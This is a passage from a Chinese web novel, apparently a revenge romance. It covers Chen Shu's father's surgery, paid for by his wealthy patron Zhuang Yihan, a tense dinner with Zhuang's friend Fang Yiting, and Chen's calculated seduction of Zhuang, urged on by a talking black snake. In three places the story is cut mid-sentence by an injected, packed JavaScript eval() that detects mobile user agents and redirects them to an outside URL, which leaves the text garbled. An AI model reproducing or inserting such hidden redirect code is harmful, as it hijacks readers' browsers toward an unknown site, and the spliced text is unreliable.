陈恕没有在庄一寒家逗留太久,时间差不多就离开了,毕竟关系还没到那一步,贸贸然留宿只会让人觉得目的性太强,该见的人见了,该说的话也说了,这就够了。 有了庄一寒的安排,陈父的手术很成功,医生说留院观察两星期就能出院,只是需要定期复查,而且离不开药物,家里那些繁重的农活不用想也知道肯定是不能碰了。 陈大州从苏醒的那天就难掩焦虑,无论是环境清雅的单人病房,还是傻乎乎的二儿子告诉他手术费已经交齐,却怎么也说不明白钱是哪里来的,桩桩件件都让他感到了不安。 “你们说实话,是不是把老家的房子给卖了?!王八犊子,我本来就活不了多久了,做这个手术有屁用,房子那是祖宗留下来的!你们把房子卖了,将来住哪里,打算回去喝西北风吗?!” 陈大州对于手术费并没有直观概念,他所能想到的最值钱的东西就是家里那套老房子,顿时又惊又怒,对着在旁边陪床的陈忌破口大骂起来。 陈忌吓了一跳,连忙按住他:“爸,你刚做完手术,别这么激动,老家房子还在呢,没有卖!真的,我骗你就是王八!” 陈大州一把攥住他的手,黝黑的脸上满是紧张:“那你怎么付的手术费?!告诉我,你哪儿来的钱?!” “找朋友借的,行了吗?” 一道低沉漠然的声音从旁边响起,终于打断了陈大州的怒火。 陈恕像一个无关的人静静旁观这场闹剧,他手中拿着一个苹果,垂眸用小刀慢条斯理地削着皮,轻薄的果皮均匀落下,露出里面白净的果肉: “我给你们买好票了,明天出院了你就和老二一起回家,医生说你的病最好隔三个月复查一次,乡下条件不好,我已经让姑姑帮忙看了,回头在县城挑一套合适的房子买下来,那边交通便利,坐高铁飞机来这里复查也方便。” 他们老家县城的房子很便宜,五六十万就可以买一套,虽然比不上大城市繁华发达,但该有的医疗配置都有,比窝在村子里强。 陈大州闻言气得咳嗽起来,愈发肯定家里的房子被卖了,他们老家祖上曾经也富裕过,那套院子占地面积很大,而且种满了鲜花,说是个生机勃勃的小园子也不差什么,如果真的肯甩手卖出去,还是有人愿意要的,前年就有好几个旅游开发商和民宿老板来问过价,只是陈大州都没松口同意。 “你……咳咳咳咳……你个王八蛋……老子的事什么时候轮到你做主了!你把房子卖了,你弟弟妹妹难道要睡大街上?!” 陈忌急道:“爸,我不是说了房子没卖吗,你没签字我们想卖也卖不了!哥是找他朋友借钱给你做的手术,他那个朋友可有钱了,借了他好多,付完手术费剩下的钱还能在县城买套房子,我还有两年就能出去工作了,到时候我和大哥一起攒钱还给人家,慢慢还总能还上的!” 陈大州闻言这才想起来房子在自己的名下,没有他签字这两个小崽子就算想卖也卖不出去,惊疑不定望着陈恕问道:“这些钱真是你找朋友借的?你哪来这么有钱的朋友?可别在外面认识些不三不四的人。” 陈恕闻言削苹果的动作停住,抬眼看向他,神情似笑非笑,细看却带着一丝淡淡的嘲讽:“有钱给你做手术就行了,问那么多做什么?” 陈恕和父亲的关系一直不太好,甚至可以说是有些糟糕,例如今天,如果不是为了给他们送车票和交代一些事情,他是打死也不会过来的。 而局面不出他所料,果然只会闹不痛快。 陈大州大怒:“你是什么态度和老子说话?!信不信我用棍子抽死你!!读了两本臭书了不起,连我都不放在眼里了?!你还敢往外面借钱?借钱不用还的吗?你老老实实交代,到底借了多少!!” “当啷——!” 陈恕忽然毫无预兆把手里的水果刀掷到地上,因为力道太过甚至划伤了皮肤,白皙的手腕上顿时出现一条鲜明的血线,不知是不是他冰冷的目光太过渗人,病房有了片刻寂静,连陈大州的声音也戛然而止,惊愕望着这个和以前有些不太一样的儿子。 陈恕看也不看手上的伤,缓缓拉开椅子站起身,椅子脚的摩擦声有些突兀刺耳,陈忌担心哥哥发脾气,连忙起身拦在病床前,慌张解释:“哥,爸不是那个意思……” 陈恕本来也没打算做什么,他一言不发望着急出汗来的陈忌,心想自己这个弟弟也不是没有别的用处,优点就是特能忍,反正他是受不了这个窝囊气的,过了几秒才听不出情绪的道:“我学校还有课,你们明天回老家我就不送了,到家记得给我发消息报平安。” 他语罢弯腰拿起地上的购物袋,把给弟妹买的新衣服和零食放在桌上,这才转身离开病房。 陈恕离开后并没有去别的地方,而是在医院附近的咖啡馆找了个位置坐着,他虽然什么话都没说,但轻阖的双眸却不经意泄露了几分沉郁的情绪。 他在用庄一寒的钱给自己的父亲治病、买房,甚至于供弟妹上学。 而在不久的将来,他却需要想方设法让对方爱上自己,然后再狠狠地踹掉他。 世界上怎么会有这么恶毒的念头、这么恶毒的人? 陈恕闭目,用指尖抵着太阳穴缓慢摩挲,心里这么想,唇角却控制不住勾了起来,他常听人说善有善报,恶有恶报,那么庄一寒呢?这辈子有自己在,对方真的会有善报吗? 那条黑蛇不知是从什么时候出现的,它绕着陈恕的肩膀缓缓游动,最后缠住他的右手,探出猩红的舌尖刺进那条不慎被水果刀划出的伤口。 【嘶——!】 撕裂般的剧痛感瞬间传来,陈恕倏地睁开双眼,冷冷看向那条黑蛇:“你做什么?!” 那条黑蛇不紧不慢收回舌尖:【亲爱的宿主,请不要太过激动,我只是看你受伤了,想帮帮你而已。】 它话音刚落,只见刚才还血流如注的伤口竟然悄无声息恢复了原样,皮肤光洁一片,仿佛什么都没发生过。 陈恕盯着这条洋洋得意的黑蛇,语气低沉讥讽:“可你让我感受到了十倍以上的痛苦,我宁愿等它自己慢慢痊愈。” 【原来你怕痛?】 黑蛇恍然,却笑的更加厉害,黑色的身躯微微发颤, 【那么你就更不该心软了,否则亲眼看见自己慢慢腐烂变成一具尸体,会比今天的伤口还痛千倍万倍,嗯?】 心软? 陈恕闻言微微偏头,心中忽然感到了几分好笑,毕竟一个连心都没有的人又怎么会心软呢,他望着黑蛇,听不出情绪的道: “我只是在想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14497885|153627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,庄一寒既然那么喜欢帮我的话,不如就让他继续帮下去吧……” 毕竟庄一寒对喜欢的人,一向都是那么掏心掏肺的。 黑蛇满意赞叹:【本该如此。】 它的尾音微微上翘,最后散成一团黑雾消失在了眼前,咖啡厅外面的遮阳棚降下一片阴影,却依旧难以抵挡正午略显灼热的阳光。 “嗡——” 庄一寒的电话就是在这个时候打来的,手机在桌上震动不止,陈恕盯着上面的来电显示,不知道为什么没接,直到对方锲而不舍打了第三遍的时候,他才终于拿起手机点击接通:“喂?” “怎么这么久才接电话?” 庄一寒低沉平静的声音隔着话筒传来,尽管没有见面,但依旧不难脑补出对方坐在办公室里微微皱眉的样子。 自从他们在一起后,陈恕一向很“宠”庄一寒,嘘寒问暖只是最基本的,那种时时刻刻把他放在心中第一位的态度才最让人心神动摇,庄一寒已经开始习惯了这种润物细无声的好,所以当有一天情况出现反常时,他会比别人更敏感。 他以前给陈恕打电话,不用超过三声就会被立刻接通。 而今天,他打了整整三遍。 陈恕一言不发倒入椅背,仰头看向上方,初秋倦怠的阳光依旧有些刺目,让他控制不住懒懒眯起眼睛:“刚才在医院,没有听见铃声,怎么了?” 他给了一个合适的理由,但也只是仅此而已,语气懒怠,仿佛并没有察觉到电话那头庄一寒微妙不高兴的情绪。 庄一寒微不可察皱了皱眉,但想起陈恕今天好像去医院看望父亲,语气又缓和了下来:“怎么样,看过你爸爸了吗?我听薛邈说手术挺成功的。” 陈恕:“薛邈?” 庄一寒:“就是我那个学医的朋友,这次手术是他让家里人帮忙安排的,下个星期他生日请吃饭,你也跟我一起去送份礼。” 陈恕点了点头,自然不会拒绝:“我爸恢复挺好的,明天出院就回老家,你朋友喜欢什么,我提前准备一下礼物。” 庄一寒当然不可能让陈恕出钱:“他家里有亲戚从政,平常过生日比较低调,很少大操大办,就是朋友凑一起吃顿饭,礼物不用太贵,他喜欢收藏画,回头从方倚庭手里买一副就行。” 方倚庭就是他们上次在香茗阁碰见的那个朋友,家里办画廊生意的,这种资源最多。 说起这个,庄一寒倒是想起来一件事:“他今天下午约我吃饭,你也一起来吧。” 和上辈子截然不同,庄一寒并没有把陈恕放在家里雪藏吃灰,反而越来越频繁地带他出来见面,和方倚庭吃饭、参加薛邈的生日会,这两件事虽然看起来不算什么,但某种意义上却真正打入了庄一寒的核心社交圈。 如果是上辈子的陈恕,他或许会很高兴。 那么这辈子呢,他该感激涕零吗? 陈恕认真感受了一下,忽然发现自己好像没有这种情绪,饶有兴趣问道:“如果我说我不想去呢?” “……” 庄一寒听着话筒那头传来的反问,敏锐察觉到了陈恕今天对自己略显疏离的态度,他双腿交叠坐在真皮座椅上,脸色一点点冷下来,语气低沉,莫名让人胆战心惊: “陈恕,你什么意思?” 18. 吻 庄一寒并不介意小情人闹脾气,毕竟是个人就有七情六欲,但闹脾气总该有个原因,否则和无理取闹有什么分别。他仔细复盘了一遍这段时间和陈恕在一起的时候,发现两个人并没有什么矛盾,恰恰相反,还挺愉快的。 难道有什么他没发现的地方? 就在庄一寒脸色阴晴不定的时候,陈恕忽然在话筒那头笑了一声,语气低沉散漫,尾调像钩子一样勾人:“逗你的,在哪里吃饭,把时间地址发给我吧。” “……” 庄一寒脸色难看的缓缓吐出一口气:“晚上六点,滨和大道十七号。” 他语罢直接切断通讯,把手机扔到桌子上,抬手扯了扯领带,显然被陈恕刚才那番又冷又热的态度弄乱了心情。 晚上六点的时候,天色已经临近暗沉,道路两旁的霓虹灯依次亮起,将商业街点缀得繁华热闹。 庄一寒把车停在路边,抬手看了眼时间,发现已经迟到了十分钟左右,他微微皱眉,正准备给陈恕打电话问问什么时候到,身旁的车窗忽然被人轻敲了两下。 “不好意思,晚高峰有点堵,我来晚了。” 陈恕弯腰站在车门外,微微上扬的狐狸眼中带着笑意,丝毫看不出中午在咖啡厅时沉郁的表情,只是他收拾好了心情,庄一寒却还没缓过来,心中仍有些说不清道不明的憋闷。 “到了就上楼吧。” 庄一寒看了他一眼,然后打开车门下车,径直走入餐厅,陈恕也不介意,不紧不慢跟了上去。 今天这顿饭局是方倚庭主动约的,自从上次在香茗阁和庄一寒偶然碰面后,他就陡然意识到对方还在为上次的事情耿耿于怀,无论是出于他们这么多年的情谊,亦或是商业上的合作,于公于私他都该做点什么,最后约了这顿饭打算私下赔罪。 方倚庭坐在桌边,缓缓吐出一口气,心想把事情办得不地道的人明明是蒋晰,最后两头为难的却是他。 想当初蒋晰对圈子里的朋友三令五申不许把他要订婚的事透露给庄一寒,免得对方知晓阻挠,自己如果贸贸然跑过去通风报信,岂不是得罪了蒋家?再者说蒋晰确实不是什么良配,他结了婚也好,说不定庄一寒也能跟着死心。 抱着这样你好我好大家好的的念头,方倚庭几经犹豫,最后还是选择把消息瞒了下来,但没想到把庄一寒给得罪狠了,蒋晰倒是拍拍屁股万事不管,惹得他两边不是人。 方倚庭正打着腹稿,思考等会儿见到了庄一寒该怎么说,但没想到包厢门从外面被人推开后,走进来的不止是庄一寒,另外还跟着一名俊美的陌生男子。 “我看两个人吃饭有点太冷清,就多带了一个朋友。” 庄一寒仿佛没看见方倚庭错愕的神情,随手拉开椅子在对面落座,他常年在生意场上摸爬滚打,又怎么会看不出方倚庭今天请这顿饭的用意,多余的话不用说,只需要把陈恕往身边一带,就把对方还没开口的话给堵了回去,毕竟方倚庭再怎么样也不会当着第三个人的面赔礼道歉。 “也好,人多更热闹嘛。” 能在圈子里混的都是人精,方倚庭看见庄一寒带了个疑似小情人的帅哥过来,先是一愣,反应过来立刻主动上前和陈恕打招呼,笑吟吟的,说话很是风趣: “我记得你,上次在香茗阁和一寒吃饭的那个帅哥嘛,不过他太小气了,也不给我介绍介绍你,我姓方,方倚庭,你和他们一样叫我倚庭就行了。” 陈恕浅笑颔首:“方少客气了,叫我陈恕就可以,耳东陈,如心恕。” 上辈子在生意场上爬滚打的经历教会了陈恕一件事,永远不要把别人的客套当做亲近,尤其是在这个阶级分明的名利圈,方倚庭话是那么说,但你如果真的不上道管人家叫“倚庭”,那就是不懂分寸了。 方倚庭深深看了陈恕一眼,心想庄一寒的眼光终于靠谱了一次,这个长得俊就算了,更难得的是懂分寸知进退,如果个个都像蒋晰那样,天王老子来了也吃不消。 “什么方少不方少的,我也没大你几岁,你要是不想叫名字,喊哥也行,来坐坐坐,赶紧点菜吧,你们肯定都饿了。” 方倚庭是艺术世家出生的,父母工作都和画画有关,这样的家族名声是有了,但钱财和地位却稍显欠缺,难免有些高不成低不就,不过他能同时和庄一寒和蒋晰交好,自然有他的本事和优点,性格细腻妥帖,点菜的时候把每个人的口味都能照顾到,由小见大,不难想象别人为什么会喜欢和他玩。 嗯,可惜被蒋晰给坑了一把。 陈恕心中玩味想到,他不动声色看了眼身旁的庄一寒,发现对方从进门开始就神色冷淡,一言不发,活像谁欠了他几个亿似的,八成是为了自己下午不接电话的事,可怜方倚庭还以为庄一寒不肯消气,一开始还能热情说话,到后面就有些坐立难安起来。 “一寒,明天宝珑艺术中心有个画展,你要是有时间可以和陈恕一起去逛逛,多维奇和孟汕大师的作品都有收录,挺难得的。” 方倚庭说完从口袋里抽出两张内场VIP的门票放在桌上,往庄一寒的方向轻轻推了推,这算是隐晦的赔罪举动了,可惜庄一寒只是低头从容吃饭,听不出情绪的道:“我明天下午要开会,可能去不了。” 庄一寒对画展的兴趣不大,但不至于当场拂了方倚庭的面子,说白了还是因为上次的事心里有疙瘩。他自认为和方倚庭这么多年的交情,说是知心好友也不为过,但喜欢的人即将订婚,对方明明知情却和别人一起瞒着他,那种感觉大概只有庄一寒才明白有多难受。 他讨厌这种被身边亲近人欺骗和背叛的感觉,甚至说是憎恨也不为过。 方倚庭原本还想再劝,然而迎着庄一寒淡淡讥讽的目光,到嘴的话却怎么也说不出来了,那两张淡绿色的门票孤零零放在桌角,成为了谁也不想触碰的存在。 包厢一时有些冷场。 刚才还善谈的方倚庭一下子局促起来,他时而低头夹菜,时而用纸巾擦手,显得忙碌而又没有章法,白皙的脸颊也多了几分尴尬的涨红。 陈恕将这一幕收入眼底,心想世界上果然没有两边讨好这种事,当蒋晰和庄一寒开始针锋相对的时候,平常跟随他们的人就必须要站队了,最遭罪的莫过于方倚庭这种家世不上不下的,他哪个都不想得罪,哪个都得罪不起,夹缝生存的模样竟然让陈恕看出了几分自己从前的影子,也是稀奇有趣。 这顿饭吃的没滋没味,庄一寒连买画的心情都没有了,他抬起手腕看了眼时间,正准备结束饭局,谁料这时候袖子忽然紧了紧,顺着看去,只见陈恕正望着自己:“我还从来没去过画展呢。” 低低的声音,像是两个人在说悄悄话,无形之中便透着一股亲密。 庄一寒皮笑肉不笑:“然后呢?” 陈恕想看画展关他什么事? 陈恕在桌子底下握住他的手,明目张胆十指相扣,庄一寒暗自挣扎,却怎么也扭不过陈恕的力道,最后只得不甘不愿泄力,压低声音皱眉斥道:“松开!” 光影稠丽,陈恕眼尾上扬的模样像极了一只狐狸,他在桌子底下轻轻碰了碰庄一寒的腿,主动邀请:“明天陪我一起看画展,好不好?” 庄一寒眯了眯眼:“你在和我讨价还价?” 陈恕反问:“不行吗?” 庄一寒冷笑:“你觉得行吗?” 陈恕:“我觉得行,因为男人不能说不行。” 庄一寒:“……” 陈恕又认真问了一遍:“庄总,你行吗?” 庄一寒:“……” 这个时候方倚庭终于缓过神来,下意识看向他们:“什么行不行?” 庄一寒脸色微沉,没有说话。 陈恕笑着哦了一声:“没什么,我在问庄总明天下午要不要和我一起去看画展,毕竟天天开会也没什么意思。” 方倚庭闻言下意识看向庄一寒,却见冷着脸的男人缓缓吐出一口气,不知出于什么念头,居然做了一个十分打自己脸的举动,缓慢伸手把门票拿了过去:“……明天只是普通例会,上午应该就能开完。” 言外之意,同意去看画展了。 这个圈子里拜高踩低的人实在太多,尤其陈恕的身份又极为尴尬,庄一寒如果当众拂了他的面子,无形之中便会让人觉得陈恕在他心中并不重要,哪怕对方以后真的在圈子里混开,也难免遭到轻视和鄙夷。 庄一寒并不希望看到这种情况发生。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14505516|153627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈恕是他的人,自然不能被别人所轻贱。 庄一寒缓缓吐出一口气,平复好心情对方倚庭道:“时间不早,我们就先回去了,刚好薛邈马上过生日,我明天过去给他挑幅画当礼物。” 这句话算是递了个台阶,方倚庭闻言肉眼可见松了口气,脸上的笑容也真实了几分:“那你们路上开车慢点,下次有时间再聚,陈恕,你们看中哪副画直接和我说,我帮你们联系。” 方倚庭又不是傻子,自然看的出来陈恕刚才是有意给自己解围,心里一时说不清是什么感觉,总之多了几分善意。 陈恕并没有注意方倚庭的表情,他拿起桌角那两张浅绿色的内场门票看了看,然后随手塞进庄一寒的西装外套口袋,结果惹来对方一记带着警示性的眼刀:“老实点。” 今天下午的账还没算呢。 陈恕笑了笑,一点也不怕庄一寒沉着脸的样子,他直接伸手搂住庄一寒的肩膀,让对方大半重量都靠在自己身上,然后若无其事的对方倚庭道:“他喝醉了,那我们就先回去了,下次有时间再聚。” 庄一寒没料到陈恕的举动,一时愣在当场,连挣扎都忘了:喝醉?醉什么醉?他就喝了小半杯红酒,得酒量多差的人才能醉得要别人扶?! 然而陈恕的身形比他高了小半个头,再加上力量悬殊,庄一寒一时挣脱不能,居然就那么被对方半搂半抱地拽出了包厢,徒留方倚庭一个人站在原地发愣。 离开餐厅,车恰好停在路边,陈恕随手打开后座车门,直接把庄一寒塞了进去,他正准备绕去前门开车,但没想到手腕一紧,猝不及防被对方拽了进去,车门砰一声关上,隔绝了外面窥探的视线。 昏暗的后车座挤进两名成年男子,难免显得有些狭窄逼仄,他们必须一个人压在另外一个人身上,这样才勉强有活动空间。 庄一寒攥住陈恕的衣领,神情落在阴影中看不出喜怒,只能感受到他因为呼吸而轻微起伏的胸膛,四周一片寂静,不知过了多久,他终于缓缓开口: “陈恕,世界上不需要那么多好心人,今天的事下不为例,记住了吗?” 他指陈恕刚才为方倚庭解围的事。 陈恕知道,但并不在意,因为他早就发现庄一寒口中的条例规矩并不是那么牢不可破,只看对方愿不愿意为你破例,而他这辈子偏要成为那个打破原则的存在。 陈恕在黑暗中微微勾唇,仰头看向他,二人之间的距离顿时近到连呼吸都交融在一起:“我挺想下不为例的,但是很可惜,我这个人记性不太好。” 庄一寒面无表情盯着他,目光幽深:“什么意思?” 陈恕微微偏头贴着庄一寒的耳畔,右手落在对方柔韧清瘦的腰间,指尖轻轻一挑就钻进了衬衫下摆,他不紧不慢在对方细腻的皮肤上按揉游走,淡淡挑眉,语气蛊惑:“简单,一起做点印象深刻的事不就行了?” 庄一寒没料到他的举动,低低闷哼一声,慌张去按后背那只不安分的手,但没想到给了陈恕可乘之机,两个人的位置瞬间上下颠倒,对方直接把他抵在了狭窄的真皮座椅间。 庄一寒不知道自己为什么要慌张,他下意识抵住陈恕的肩膀,结果被男子年轻而又精壮的身体烫得一缩,皱眉哑声道:“我说过的,不上床。” 陈恕微微勾唇,用指尖温柔拨开他眼前的碎发,笑着嗯了一声:“我知道。” 对方一直洁身自好嘛。 不过庄一寒既然这么“洁身自好”,又何必包养小情人呢?矫情。 陈恕思及此处,心中忽然浮现一个玩味且恶劣的念头,很想知道庄一寒这辈子到底是不是真的那么“坚定不移”,不过他望着身下男子泛红的眼尾,并不觉得这条规矩有多么牢固。 陈恕漫不经心垂眸,抵着庄一寒高挺的鼻尖蹭了蹭,简简单单的动作也让人心神摇曳,似笑非笑问道: “那接吻呢?” 接吻? 庄一寒闻言一愣,反应过来下意识就想拒绝,然而话还没来得及说出口,唇瓣却猝不及防覆上一片温热,他瞳孔震惊收缩,眼前只剩下那人陡然放大的面容。 嗡的一声! 庄一寒感觉自己脑子里的那根弦忽然断了。 19. 失控 世界上仿佛有人天生就对这种事无师自通。 和陈恕接吻的时候,你会产生一种被他深深爱着的错觉,眼里只有你的存在,身躯紧紧相贴,薄薄的衣服根本抵挡不住炙热的体温,连空气都变得稀薄起来。 “唔……” 庄一寒忍不住皱眉闷哼出声,他一面艰难偏头躲避陈恕的亲吻,一面死死抵住住对方的肩膀试图隔开两人间的距离,然而不知是不是大脑缺氧的原因,力气越来越弱,到最后浑身发软,只能任由对方摆弄掌控。 昏暗的车厢里满是暧昧的水声,温度一节节攀升。 庄一寒清冷的目光沾染上情欲,控制不住溢出些许生理性泪水,他上扬的眼尾晕出一片浅浅的绯色,鸦羽似的睫毛沾染水光,比白天更多了几分可欺的脆弱感。 陈恕扣住他的十指,牢牢抵在黑色的真皮座椅间,唇舌抵死纠缠,气息侵略霸道,再也不是平常那副似笑非笑的散漫模样。 庄一寒被迫仰头回应,身上的白衬衫扣子一颗颗散开,性感的锁骨暴露在空气中,忍不住冻得一缩,他终于察觉到什么,陡然从情欲中惊醒,一把按住陈恕解扣子的手,低沉沙哑的声音难掩慌张: “陈恕!” “……” 陈恕闻言身形一顿,淡淡挑眉,总算停住了刚才的动作,他漫不经心抬手抹了一下嘴角,总感觉尝到些许血腥味,本就昳丽的唇色此刻更显得殷红如血,在黑暗中透着一股怪诞的美,笑了笑,明知故问: “怎么了?” “你!” 庄一寒原本气得想把他推下去,然而看见陈恕似笑非笑的神情却怎么也下不了手,他只好改为揪住对方的衣领,眼尾带着尚未褪去的泛红情欲,压低声音质问道:“你发什么疯!” 是的,发疯,庄一寒一时间居然找不到比这个更合适的词来形容对方,可惜他剧烈喘息的样子一点威慑力也没有。 陈恕丝毫没有做错事的自觉,只见他低头将脸埋入庄一寒颈间,亲昵蹭了蹭,慵懒的嗓音微微拖长,听起来竟有些像撒娇,用温热的气音在耳畔问道:“不能上床,连接吻也不行吗?” 庄一寒感受着颈边微痒的触感,闻言目光一怔,竟有些不知道该怎么解释。 不是接吻不行,而是他们之间的关系没必要接吻,这个举动到底还是有些过于亲密,和拥抱有着质与质的区别。 今天接吻了,下一步就是上床,底线这种东西就是这么没的,一旦后退一步,后面就再也刹不住了。 庄一寒努力喘匀呼吸,垂眸看向陈恕,他微微用了些力才迫使对方抬起头来看着自己,低沉的声音在黑暗中听不出情绪: “刚才为什么要亲我?” 陈恕望着他,故意迟疑不答。 庄一寒皱眉:“说话。” 陈恕抿唇,这才缓慢吐出一句话:“喜欢你……” 他话音刚落,就察觉到下巴上的手悄然落了下去,透出一丝无措和怔然。 庄一寒显然没想到自己会得到这样的回答,不知道为什么,气笑了一声:“你知道什么是喜欢吗?就因为我帮你爸爸治病,供你上学,你就喜欢我了?” 可喜可贺,他终于不再像上辈子一样,觉得陈恕是为了他的钱才“喜欢”他。 陈恕微不可察勾了勾唇,随即又低头掩过,声音低低的、闷闷的:“我就是喜欢你,没有那么多原因。” 庄一寒定定望着他:“可喜欢我不是什么好事。” 陈恕果然抬起头看向他,那双眼睛黑白分明,无论什么时候看都显得格外漂亮:“为什么?” 当然是因为得不到结果啊。 庄一寒话到嘴边,却怎么也吐不出来,他此刻或许该告诉陈恕自己心里还藏着另外一个人的影子,所以对方喜欢自己是不会有结果的,但那样是不是会伤了陈恕的心?而对方那份炽热真诚的感情也不会再对着自己…… 莫名的,他又想起了今天陈恕没接自己电话,甚至不想来吃饭的事,那种漠然的态度像一根细微的针扎在他心头,虽然不是什么大事,却带着难以言喻的不适。 庄一寒忽然没头没尾问道:“今天下午为什么不想来吃饭?” 陈恕意外望着庄一寒,没想到对方还在为这件事耿耿于怀,心想面前这个人又哪里像自己记忆中冷心冷情的模样,原来也会有私欲,也会有不平,也会有小心眼,他一言不发替对方把散乱的衬衫扣子重新扣好,又把衣角细细理平整,这才抵着他的额头道歉: “对不起,下午和我爸爸吵架了,所以心情不太好。” 他温柔摸了摸庄一寒的脸,一点也不介意对方在外人眼中喜怒无常的举动:“别生气了,好不好?” 庄一寒听了他的解释,心里终于舒服了一些,随即问道:“为什么会吵架?” 陈恕没有多说:“老人家总有些倔脾气,都是一些鸡毛蒜皮的小事,过两天就好了。” 庄一寒摸了摸陈恕的脸,低低吐出一口气,他出于心底的那一份私念,迟疑许久,到底什么都没说:“……如果遇到什么难事就告诉我,别自己憋着,知道吗?” 陈恕点点头,不知道是故意还是别的,轻声认真问道:“那我还能再亲你吗?” “……” 庄一寒闻言动作一顿,他望着陈恕仿佛总是藏着无限温柔和深情的眼睛,心脏仿佛被什么东西重重击打了一下,带来一种全然陌生的触动。以庄一寒的高傲姿态,他既说不出一个“能”,但也说不出一个“不能”,最后只能无声闭眼,代表着默许。 算了…… 庄一寒挫败心想,对方要亲就亲吧,自己只说过不能上床,又没说不能拥抱接吻,这件事怪到陈恕头上也没道理,对方年轻气盛,忍不住也是有的。 车内又开始了一场缠绵悱恻的吻。 一开始像蜻蜓点水般温柔,到最后一寸寸深入,生动诠释了什么叫抵死缠绵,庄一寒以前把精力都扑在了工作上,哪里有机会感受这种暧昧又朦胧的接触,只感觉心脏狂跳,带着隐秘的刺激,仿佛打开了新世界大门,处处都想去探索一遍。 最后吻到脱力,晕沉沉倒在座椅上,连怎么回家的都不知道。 经过这一夜,他们之间的关系悄然发生了些许改变,只是庄一寒并没有细想,他越来越频繁地约陈恕出来陪着自己,吃饭也好,散心也好,仿佛只要见面就有说不完的话,连拥抱接吻这种事也变得熟稔而又习以为常。 去看画展那天,庄一寒除了订下一幅油画当做薛邈的生日礼物,另外还给陈恕订了一款新型车,毕竟他们出来见面越来越频繁,总不能次次都让陈恕借同学的车。 “店长说这款车起码要排三个月,我让他们走内部渠道安排,尽量下个星期就让你提车,到时候把证件和保险一办,以后外出也方便一些。” 陈恕倒也没拒绝,毕竟都这个关系了,再拒绝难免显得矫情,他只是在送庄一寒回家的时候抱着对方抵在玄关处亲了一通,吻着脸颊慢吞吞问道: “怎么办?” 庄一寒搂着他的脖颈,低低喘息:“什么怎么办?” 陈恕从来不介意哄着他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14516528|153627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟说两句好听话又不会掉块肉,庄一寒缺乏情绪价值,他一向给得足足的,在耳畔用温热的气音苦恼问道:“感觉自己更喜欢你了,怎么办?” 庄一寒闻言脸上不免有些发烫,他斜睨了陈恕一眼:“给你买辆车就更喜欢了,如果将来买套房,你打算怎么办?” 陈恕抵着他的脖颈轻蹭,声音低沉带着鼻音,让人耳朵一阵酥麻:“你又不住进来,给套房我也不稀罕。” 他想哄一个人的时候,没人能抵挡得住。 庄一寒推了两下没推开,只能任由他抱着,只是唇角微微扬起,怎么也压不住弧度,显然被哄得很高兴:“傻子,有房有车还不好吗?” 多少人在a市奋斗一辈子就是为了这个,人情冷暖,世态炎凉,只有这些东西才是最靠得住的。 陈恕吻住庄一寒,因为唇舌相触,低沉的声音在黑暗中有些模糊不清:“好……但是没你好……” 庄一寒什么都没说,只是搂住陈恕脖颈的手更加紧了几分,竟有些不舍得放对方离开,他也不知道是不是中邪了,居然鬼使神差问了一句:“很晚了,今天要不要留下来?” 陈恕知道他说的是客房,但相比之前严防死守的疏离态度,不难看出庄一寒心中的防线已经开始欲摇摇欲坠。 陈恕用指尖轻轻拨开庄一寒眼前的碎发,不期然看见对方泛着细碎水光的眼睛,心想这个人动情了原来是这副模样么,只是还不够,远远不够。 心里这么想着,面上却不显:“没关系,现在回去也不晚,而且学校还有事,夜不归宿不太好。” 庄一寒自觉失言,也就没有再提刚才那一茬,他缓缓松开陈恕,理了理对方的衣领:“那你从地库里选一辆车开回去吧,过两天薛邈生日聚会,记得别迟到。” 陈恕笑着点点头,从玄关拿了一把车钥匙,这才转身离开,徒留庄一寒一个人在原地,心中说不出的空落落。 已经临近后半夜,楼下的花园在月光照耀下愈发显得静谧,陈恕并没有立即离开,而是坐在楼下长椅上抽了根烟,这才觉得心中翻涌的烟瘾稍稍压下去了一些。 【你不会真的爱上他了吧?】 这条黑蛇的出现总是那么不合时宜,它盘踞在陈恕肩头,饶有兴趣盯着地面上凭空多出来的细长影子,嘶嘶吐着蛇信,声音蛊惑: 【爱一个人会变得不幸,我们只需要被人爱着就够了,知道吗?】 或许是今夜月色太温柔,连它的语气都比平常缓和了几分。 陈恕漫不经心垂眸,盯着地上的影子笑了笑,俊美深邃的面容在夜色中显得难以捉摸:“我就不能是演的吗?” 这条黑蛇有时候也会捉摸不透人类复杂的心思,甩了甩尾巴:【爱也是可以演出来的吗?】 “爱当然可以演出来啊,” 陈恕仿佛在嘲笑它的愚蠢,一字一句低声反问道: “否则那些感人肺腑的爱情电影算什么?笑话吗?” 